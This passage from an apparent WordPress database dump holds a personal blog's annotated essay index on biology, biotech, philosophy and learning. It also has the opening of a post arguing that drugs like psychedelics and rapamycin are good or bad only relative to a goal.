commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-personal-history-of-optimistic-futures/\">A brief, personal history of optimistic futures</a> - a weird, short intellectual autobiography.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lessons-on-getting-things-done-from-robert-moses/\">Lessons on getting things done from Robert Moses</a> - a semi book review of <em>the Power Broker</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/culturing-honesty/\">Culturing honesty</a> - In praise of honesty and in attack of David Graeber.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:24:55','2025-07-03 19:24:55','',22,'https://trevorklee.com/?p=493',0,'revision','',0),
(494,1,'2025-07-03 19:28:53','2025-07-03 19:28:53','<!-- wp:paragraph -->\n<p>There’s a weird trap I’ve noticed a lot of people, including doctors, fall into. They try to determine if drugs are good or bad without considering what it is they’re trying to accomplish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I saw this most recently with the debate over the legalization of psychedelics in Massachusetts. If you read my voter’s guide to the MA ballot, you’d have seen that Question 4 regards whether Massachusetts should legalize the growth, possession, and use of certain psychedelics, as well as the creation of licensed “trip” facilities. In my voter’s guide, I reluctantly recommended against it, but I could see the argument either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the debate over this question ended up being over whether or not psychedelics are “good”. Good being a subjective term, this quickly went to the “objective” question of whether psychedelics are helpful for mental illness. Proponents of psychedelics pointed to the studies on psychedelics’ positive effects on depression and PTSD (the latter of which, have, unfortunately, gotten a lot&nbsp;<a href=\"https://www.npr.org/sections/shots-health-news/2024/06/04/nx-s1-4991112/mdma-therapy-ptsd-fda-advisors\">cloudier</a>&nbsp;recently). Opponents of psychedelics pointed to the risks of psychosis and driving under the influence. Neither side could agree whether psychedelics are good or bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why it came to me, a random blogger on the Internet, to say this: both sides are right and neither are right. Asking whether psychedelics are good is asking the wrong question. Ask, instead, what psychedelics do. As anyone who’s ever taken psychedelics knows, they alter your perception, sometimes in profound ways. Once you are on them, your perception is altered for the duration of the trip, and that can have lasting influences on your outlook and perception of yourself afterwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are severely depressed, having an altered perception can be good, as your normal perception is bad. If you’re someone with an already tenuous grip on reality, altering your perception can be bad. If you’re driving, altering your perception is really bad because you need to see the road. Psychedelics, in and of themselves, are neither good nor bad. They just alter perception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this seems obvious to you. But I see this mistake come up in medicine again and again, and not just in psychiatric medicine. Take rapamycin, for example, everyone’s favorite longevity drug. Rapamycin inhibits growth, among other effects. This is neither good nor bad. It just is. If you are trying to prevent liver fibrosis, rapamycin is good. If you are trying to recover from an injury, rapamycin is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lifelong rapamycin is, net-net, for most people, probably bad, even if you avoid rapamycin’s other effects like hyperinsulinemia. That’s because preventing growth is generally bad, as most of the body’s processes that involve growth are health-promoting, even though organisms with less growth (e.g. calorie-restricted organisms) tend to live longer. If you sprain your ankle or 